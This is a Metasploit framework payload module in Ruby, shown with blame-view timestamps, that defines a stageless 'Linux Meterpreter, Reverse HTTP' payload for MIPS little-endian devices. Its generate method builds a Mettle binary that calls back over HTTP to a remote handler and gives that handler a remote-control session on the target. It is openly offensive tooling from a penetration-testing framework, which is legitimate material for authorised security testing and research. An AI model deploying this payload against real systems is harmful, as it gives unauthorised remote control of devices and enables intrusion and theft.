2016-12-10 00:24:12 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2017-03-21 09:38:18 +00:00
|
|
|
require 'msf/core/handler/reverse_http'
|
2016-12-10 00:24:12 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
require 'msf/base/sessions/mettle_config'
|
|
|
|
require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
2017-04-26 23:02:14 +00:00
|
|
|
CachedSize = 1002424
|
2016-12-10 00:24:12 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2017-03-21 09:38:18 +00:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTP Inline',
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
2016-12-10 00:24:12 +00:00
|
|
|
'Author' => [
|
2017-03-21 09:38:18 +00:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>'
|
2016-12-10 00:24:12 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_MIPSLE,
|
|
|
|
'License' => MSF_LICENSE,
|
2017-03-21 09:38:18 +00:00
|
|
|
'Handler' => Msf::Handler::ReverseHttp,
|
2016-12-10 00:24:12 +00:00
|
|
|
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
|
|
|
|
)
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
2017-03-21 09:38:18 +00:00
|
|
|
opts = {scheme: 'http'}
|
|
|
|
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
|
2016-12-10 00:24:12 +00:00
|
|
|
end
|
|
|
|
end
|